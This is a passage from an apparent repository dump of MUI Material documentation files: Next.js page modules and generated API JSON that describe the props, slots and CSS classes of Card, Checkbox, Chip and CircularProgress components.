    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ focusHighlight?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ focusHighlight?: elementType, root?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"CardActionArea\",\n  \"imports\": [\n    \"import CardActionArea from '@mui/material/CardActionArea';\",\n    \"import { CardActionArea } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root.\",\n      \"default\": \"ButtonBase\",\n      \"class\": \"MuiCardActionArea-root\"\n    },\n    {\n      \"name\": \"focusHighlight\",\n      \"description\": \"The component that renders the focusHighlight.\",\n      \"default\": \"span\",\n      \"class\": \"MuiCardActionArea-focusHighlight\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"focusVisible\",\n      \"className\": \"Mui-focusVisible\",\n      \"description\": \"State class applied to the ButtonBase root element if the action area is keyboard focused.\",\n      \"isGlobal\": true\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiCardActionArea\",\n  \"forwardsRefTo\": \"HTMLButtonElement\",\n  \"filename\": \"/packages/mui-material/src/CardActionArea/CardActionArea.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-card/\\\">Card</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/card-actions.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './card-actions.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/card-actions',\n    false,\n    /\\.\\/card-actions.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/card-actions.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"disableSpacing\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"CardActions\",\n  \"imports\": [\n    \"import CardActions from '@mui/material/CardActions';\",\n    \"import { CardActions } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiCardActions-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"spacing\",\n      \"className\": \"MuiCardActions-spacing\",\n      \"description\": \"Styles applied to the root element unless `disableSpacing={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiCardActions\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/CardActions/CardActions.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-card/\\\">Card</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/card-content.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './card-content.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/card-content',\n    false,\n    /\\.\\/card-content.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/card-content.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"CardContent\",\n  \"imports\": [\n    \"import CardContent from '@mui/material/CardContent';\",\n    \"import { CardContent } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiCardContent-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiCardContent\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/CardContent/CardContent.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-card/\\\">Card</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/card-header.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './card-header.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/card-header',\n    false,\n    /\\.\\/card-header.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/card-header.json",
    "content": "{\n  \"props\": {\n    \"action\": { \"type\": { \"name\": \"node\" } },\n    \"avatar\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disableTypography\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ action?: func<br>&#124;&nbsp;object, avatar?: func<br>&#124;&nbsp;object, content?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, subheader?: func<br>&#124;&nbsp;object, title?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ action?: elementType, avatar?: elementType, content?: elementType, root?: elementType, subheader?: elementType, title?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"subheader\": { \"type\": { \"name\": \"node\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"title\": { \"type\": { \"name\": \"node\" } }\n  },\n  \"name\": \"CardHeader\",\n  \"imports\": [\n    \"import CardHeader from '@mui/material/CardHeader';\",\n    \"import { CardHeader } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root slot.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiCardHeader-root\"\n    },\n    {\n      \"name\": \"avatar\",\n      \"description\": \"The component that renders the avatar slot.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiCardHeader-avatar\"\n    },\n    {\n      \"name\": \"action\",\n      \"description\": \"The component that renders the action slot.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiCardHeader-action\"\n    },\n    {\n      \"name\": \"content\",\n      \"description\": \"The component that renders the content slot.\",\n      \"default\": \"'div'\",\n      \"class\": \"MuiCardHeader-content\"\n    },\n    {\n      \"name\": \"title\",\n      \"description\": \"The component that renders the title slot (as long as disableTypography is not `true`).\\n[Follow this guide](https://mui.com/material-ui/api/typography/#props) to learn more about the requirements for this component.\",\n      \"default\": \"Typography\",\n      \"class\": \"MuiCardHeader-title\"\n    },\n    {\n      \"name\": \"subheader\",\n      \"description\": \"The component that renders the subheader slot (as long as disableTypography is not `true`).\\n[Follow this guide](https://mui.com/material-ui/api/typography/#props) to learn more about the requirements for this component.\",\n      \"default\": \"Typography\",\n      \"class\": \"MuiCardHeader-subheader\"\n    }\n  ],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiCardHeader\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/CardHeader/CardHeader.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-card/\\\">Card</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/card-media.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './card-media.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/card-media',\n    false,\n    /\\.\\/card-media.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/card-media.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"custom\", \"description\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"image\": { \"type\": { \"name\": \"string\" } },\n    \"src\": { \"type\": { \"name\": \"string\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"CardMedia\",\n  \"imports\": [\n    \"import CardMedia from '@mui/material/CardMedia';\",\n    \"import { CardMedia } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"img\",\n      \"className\": \"MuiCardMedia-img\",\n      \"description\": \"Styles applied to the root element if `component=\\\"picture or img\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"media\",\n      \"className\": \"MuiCardMedia-media\",\n      \"description\": \"Styles applied to the root element if `component=\\\"video, audio, picture, iframe, or img\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiCardMedia-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiCardMedia\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/CardMedia/CardMedia.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-card/\\\">Card</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/card.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './card.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/card', false, /\\.\\/card.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/card.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"raised\": { \"type\": { \"name\": \"custom\", \"description\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"Card\",\n  \"imports\": [\"import Card from '@mui/material/Card';\", \"import { Card } from '@mui/material';\"],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiCard-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiCard\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Card/Card.js\",\n  \"inheritance\": { \"component\": \"Paper\", \"pathname\": \"/material-ui/api/paper/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-card/\\\">Card</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/checkbox.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './checkbox.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/checkbox',\n    false,\n    /\\.\\/checkbox.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/checkbox.json",
    "content": "{\n  \"props\": {\n    \"checked\": { \"type\": { \"name\": \"bool\" } },\n    \"checkedIcon\": { \"type\": { \"name\": \"node\" }, \"default\": \"<CheckBoxIcon />\" },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'default'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"defaultChecked\": { \"type\": { \"name\": \"bool\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"icon\": { \"type\": { \"name\": \"node\" }, \"default\": \"<CheckBoxOutlineBlankIcon />\" },\n    \"id\": { \"type\": { \"name\": \"string\" } },\n    \"indeterminate\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"indeterminateIcon\": { \"type\": { \"name\": \"node\" }, \"default\": \"<IndeterminateCheckBoxIcon />\" },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.ChangeEvent<HTMLInputElement>) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"required\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'medium'<br>&#124;&nbsp;'small'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ input?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ input?: elementType, root?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"value\": { \"type\": { \"name\": \"any\" } }\n  },\n  \"name\": \"Checkbox\",\n  \"imports\": [\n    \"import Checkbox from '@mui/material/Checkbox';\",\n    \"import { Checkbox } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root slot.\",\n      \"default\": \"SwitchBase\",\n      \"class\": \"MuiCheckbox-root\"\n    },\n    {\n      \"name\": \"input\",\n      \"description\": \"The component that renders the input slot.\",\n      \"default\": \"SwitchBase's input\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"checked\",\n      \"className\": \"Mui-checked\",\n      \"description\": \"State class applied to the root element if `checked={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiCheckbox-colorPrimary\",\n      \"description\": \"State class applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiCheckbox-colorSecondary\",\n      \"description\": \"State class applied to the root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"indeterminate\",\n      \"className\": \"MuiCheckbox-indeterminate\",\n      \"description\": \"State class applied to the root element if `indeterminate={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeMedium\",\n      \"className\": \"MuiCheckbox-sizeMedium\",\n      \"description\": \"State class applied to the root element if `size=\\\"medium\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiCheckbox-sizeSmall\",\n      \"description\": \"State class applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiCheckbox\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-material/src/Checkbox/Checkbox.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-checkbox/\\\">Checkbox</a></li>\\n<li><a href=\\\"/material-ui/react-transfer-list/\\\">Transfer List</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/chip.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './chip.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/chip', false, /\\.\\/chip.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/chip.json",
    "content": "{\n  \"props\": {\n    \"avatar\": { \"type\": { \"name\": \"element\" } },\n    \"children\": { \"type\": { \"name\": \"custom\", \"description\": \"unsupportedProp\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"clickable\": { \"type\": { \"name\": \"bool\" } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'default'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'default'\"\n    },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"deleteIcon\": { \"type\": { \"name\": \"element\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"icon\": { \"type\": { \"name\": \"element\" } },\n    \"label\": { \"type\": { \"name\": \"node\" } },\n    \"nativeButton\": { \"type\": { \"name\": \"bool\" } },\n    \"onDelete\": { \"type\": { \"name\": \"func\" } },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'medium'<br>&#124;&nbsp;'small'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"skipFocusWhenDisabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ label?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ label?: elementType, root?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'filled'<br>&#124;&nbsp;'outlined'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'filled'\"\n    }\n  },\n  \"name\": \"Chip\",\n  \"imports\": [\"import Chip from '@mui/material/Chip';\", \"import { Chip } from '@mui/material';\"],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component that renders the root.\",\n      \"default\": \"div\",\n      \"class\": \"MuiChip-root\"\n    },\n    {\n      \"name\": \"label\",\n      \"description\": \"The component that renders the label.\",\n      \"default\": \"span\",\n      \"class\": \"MuiChip-label\"\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"avatar\",\n      \"className\": \"MuiChip-avatar\",\n      \"description\": \"Styles applied to the avatar element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"clickable\",\n      \"className\": \"MuiChip-clickable\",\n      \"description\": \"Styles applied to the root element if `onClick` is defined or `clickable={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorDefault\",\n      \"className\": \"MuiChip-colorDefault\",\n      \"description\": \"Styles applied to the root element if `color=\\\"default\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorError\",\n      \"className\": \"MuiChip-colorError\",\n      \"description\": \"Styles applied to the root element if `color=\\\"error\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorInfo\",\n      \"className\": \"MuiChip-colorInfo\",\n      \"description\": \"Styles applied to the root element if `color=\\\"info\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiChip-colorPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiChip-colorSecondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSuccess\",\n      \"className\": \"MuiChip-colorSuccess\",\n      \"description\": \"Styles applied to the root element if `color=\\\"success\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorWarning\",\n      \"className\": \"MuiChip-colorWarning\",\n      \"description\": \"Styles applied to the root element if `color=\\\"warning\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"deletable\",\n      \"className\": \"MuiChip-deletable\",\n      \"description\": \"Styles applied to the root element if `onDelete` is defined.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"deleteIcon\",\n      \"className\": \"MuiChip-deleteIcon\",\n      \"description\": \"Styles applied to the deleteIcon element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"filled\",\n      \"className\": \"MuiChip-filled\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"filled\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"focusVisible\",\n      \"className\": \"Mui-focusVisible\",\n      \"description\": \"State class applied to the root element if keyboard focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"icon\",\n      \"className\": \"MuiChip-icon\",\n      \"description\": \"Styles applied to the icon element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlined\",\n      \"className\": \"MuiChip-outlined\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeMedium\",\n      \"className\": \"MuiChip-sizeMedium\",\n      \"description\": \"Styles applied to the root element if `size=\\\"medium\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiChip-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiChip\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Chip/Chip.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-chip/\\\">Chip</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/circular-progress.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './circular-progress.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/circular-progress',\n    false,\n    /\\.\\/circular-progress.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/circular-progress.json",
    "content": "{\n  \"props\": {\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'inherit'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'primary'\"\n    },\n    \"disableShrink\": { \"type\": { \"name\": \"custom\", \"description\": \"bool\" }, \"default\": \"false\" },\n    \"enableTrackSlot\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"size\": {\n      \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" },\n      \"default\": \"40\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"thickness\": { \"type\": { \"name\": \"number\" }, \"default\": \"3.6\" },\n    \"value\": { \"type\": { \"name\": \"number\" }, \"default\": \"0\" },\n    \"variant\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'determinate'<br>&#124;&nbsp;'indeterminate'\" },\n      \"default\": \"'indeterminate'\"\n    }\n  },\n  \"name\": \"CircularProgress\",\n  \"imports\": [\n    \"import CircularProgress from '@mui/material/CircularProgress';\",\n    \"import { CircularProgress } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"circle\",\n      \"className\": \"MuiCircularProgress-circle\",\n      \"description\": \"Styles applied to the `circle` svg 